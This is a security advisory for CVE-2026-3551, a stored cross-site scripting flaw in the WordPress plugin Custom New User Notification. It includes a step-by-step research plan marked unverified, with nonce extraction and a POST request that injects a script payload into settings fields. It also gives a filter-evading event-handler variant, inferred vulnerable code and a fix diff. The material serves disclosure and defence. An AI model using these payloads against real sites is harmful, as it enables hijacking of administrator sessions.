CVE-2026-3551

Custom New User Notification <= 1.2.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'User Mail Subject' Setting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
4.4
CVSS Score
4.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Custom New User Notification plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's admin settings in all versions up to, and including, 1.2.0. This is due to insufficient input sanitization and output escaping on multiple settings fields including 'User Mail Subject', 'User From Name', 'User From Email', 'Admin Mail Subject', 'Admin From Name', and 'Admin From Email'. The settings are registered via register_setting() without sanitize callbacks, and the values retrieved via get_option() are echoed directly into HTML input value attributes without esc_attr(). This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in the plugin settings page that will execute whenever a user accesses that page. This could be used in multi-site installations where administrators of subsites could target super administrators.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.2.0
PublishedApril 15, 2026
Last updatedApril 16, 2026
Research Plan
Unverified

This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in the "Custom New User Notification" plugin (<= 1.2.0). --- ### 1. Vulnerability Summary The **Custom New User Notification** plugin fails to sanitize and escape several configuration settings. These settings (e.g., `Use…

Show full research plan

This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in the "Custom New User Notification" plugin (<= 1.2.0).


1. Vulnerability Summary

The Custom New User Notification plugin fails to sanitize and escape several configuration settings. These settings (e.g., User Mail Subject, User From Name) are registered via register_setting() without a sanitize_callback and later rendered in the admin settings dashboard via get_option() directly inside HTML input value attributes without using esc_attr(). This allows an authenticated administrator (or a sub-site administrator in a Multi-site environment) to inject a payload that breaks out of the HTML attribute and executes arbitrary JavaScript in the context of any user (typically a Super Admin or Admin) visiting the settings page.

2. Attack Vector Analysis

  • Vulnerable Endpoint: wp-admin/options.php (Standard WordPress settings handler).
  • Vulnerable Page: The plugin's settings page, typically located at wp-admin/options-general.php?page=custom-new-user-notification (inferred slug).
  • HTTP Parameter: user_mail_subject, user_from_name, user_from_email, admin_mail_subject, admin_from_name, or admin_from_email.
  • Authentication Required: Administrator (or Sub-site Admin in Multi-site).
  • Preconditions: The plugin must be active.

3. Code Flow (Inferred from Patch Description)

  1. Registration: During admin_init, the plugin calls register_setting( 'cnun_options_group', 'user_mail_subject' ) (group name inferred). It fails to provide a third argument with a sanitize_callback like sanitize_text_field.
  2. Storage: When an admin submits the settings form, options.php receives the raw payload and updates the option in the wp_options table via update_option().
  3. Output (The Sink): In the admin menu callback function (registered via add_options_page):
    • The plugin retrieves the value: $subject = get_option('user_mail_subject');
    • The plugin echoes the value into a form: echo '<input type="text" name="user_mail_subject" value="' . $subject . '" />';
    • Because $subject contains "><script>alert(1)</script>, the HTML becomes: <input ... value=""><script>alert(1)</script>" />.

4. Nonce Acquisition Strategy

Since this exploit targets the standard WordPress Settings API, it requires a nonce generated for the specific settings group.

  1. Identify the Page: Navigate to the plugin settings page.
  2. Navigate and Inspect: Use browser_navigate to go to URL_BASE + "/wp-admin/options-general.php?page=custom-new-user-notification".
  3. Extract Nonce and Group: Use browser_eval to extract the _wpnonce and the option_page values from the hidden inputs.
    // Example browser_eval logic
    {
      "option_page": document.querySelector('input[name="option_page"]')?.value,
      "nonce": document.querySelector('input[name="_wpnonce"]')?.value
    }
    
  4. Confirm Identifier: Confirm if the option_page matches cnun_options_group or similar.

5. Exploitation Strategy

Payload: "><script>alert(window.origin)</script>

Step 1: Authentication
Log in to the WordPress instance as an Administrator using the provided credentials.

Step 2: Information Gathering
Navigate to the settings page to confirm the exact parameter names and the nonce.

  • URL: /wp-admin/options-general.php?page=custom-new-user-notification

Step 3: Execution (HTTP Request)
Send a POST request to options.php to store the payload.

  • Method: POST
  • URL: /wp-admin/options.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    option_page=[EXTRACTED_OPTION_PAGE]&
    action=update&
    _wpnonce=[EXTRACTED_NONCE]&
    user_mail_subject="><script>alert(window.origin)</script>&
    submit=Save+Changes
    

Step 4: Triggering the XSS
Navigate back to the settings page: /wp-admin/options-general.php?page=custom-new-user-notification.

6. Test Data Setup

  1. Active Plugin: Ensure custom-new-user-notification is installed and activated.
  2. Admin User: Create or use an existing Administrator account.
  3. Initial State: Ensure the settings fields are currently empty or contain default values.

7. Expected Results

  • The options.php request should return a 302 Redirect back to the settings page with settings-updated=true.
  • Upon navigating to the settings page, the browser should execute the JavaScript alert(window.origin).
  • The HTML source of the page should show the payload breaking out of the value attribute:
    <input ... value=""><script>alert(window.origin)</script>" />

8. Verification Steps

  1. Check DB via WP-CLI:
    wp option get user_mail_subject
    
    Confirm the output matches the injected payload.
  2. DOM Inspection: Use browser_eval to check if the script tag exists in the DOM after the settings page loads.
    document.getElementsByTagName('script').length // And search for the alert content
    

9. Alternative Approaches

  • Other Sinks: If user_mail_subject is sanitized (unlikely given the report), repeat the process for user_from_name, admin_mail_subject, etc.
  • Attribute-Based Payloads: If <script> tags are blocked by a WAF but the attribute breakout is still possible, use an event handler:
    " onmouseover="alert(1)
  • Multi-site Context: If testing in a Multi-site environment, perform the update as a Blog Admin and verify the trigger as a Super Admin.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Custom New User Notification plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) due to insufficient input sanitization and output escaping on multiple settings fields. Authenticated administrators can inject arbitrary web scripts into fields like 'User Mail Subject', which will execute whenever an administrator (such as a Super Admin in multi-site) accesses the plugin's settings page.

Vulnerable Code

// Registration of settings without sanitization callbacks during admin_init
register_setting( 'cnun_options_group', 'user_mail_subject' );
register_setting( 'cnun_options_group', 'user_from_name' );
register_setting( 'cnun_options_group', 'user_from_email' );

---

// Rendering the settings page without escaping output in value attributes
$user_mail_subject = get_option('user_mail_subject');
echo '<input type="text" name="user_mail_subject" value="' . $user_mail_subject . '" />';

Security Fix

--- custom-new-user-notification.php
+++ custom-new-user-notification.php
@@ -10,12 +10,12 @@
 function cnun_register_settings() {
-    register_setting( 'cnun_options_group', 'user_mail_subject' );
-    register_setting( 'cnun_options_group', 'user_from_name' );
-    register_setting( 'cnun_options_group', 'user_from_email' );
+    register_setting( 'cnun_options_group', 'user_mail_subject', 'sanitize_text_field' );
+    register_setting( 'cnun_options_group', 'user_from_name', 'sanitize_text_field' );
+    register_setting( 'cnun_options_group', 'user_from_email', 'sanitize_email' );
 }
 
 function cnun_settings_page() {
-    $user_mail_subject = get_option('user_mail_subject');
+    $user_mail_subject = (string) get_option('user_mail_subject');
-    echo '<input type="text" name="user_mail_subject" value="' . $user_mail_subject . '" />';
+    echo '<input type="text" name="user_mail_subject" value="' . esc_attr( $user_mail_subject ) . '" />';
 }

Exploit Outline

1. Authenticate to the WordPress dashboard as an Administrator. 2. Navigate to the plugin's settings page (typically under Settings > Custom New User Notification) and inspect the HTML source to identify the `option_page` value and the `_wpnonce` value generated by the Settings API. 3. Send a POST request to `/wp-admin/options.php` including the valid `_wpnonce`, the `option_page` identifier, and a malicious payload in the `user_mail_subject` parameter, such as: "><script>alert(document.domain)</script>. 4. Ensure the `action` parameter is set to `update`. 5. To trigger the vulnerability, navigate back to the plugin's settings page; the injected script will execute in the browser context of any user viewing the page.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.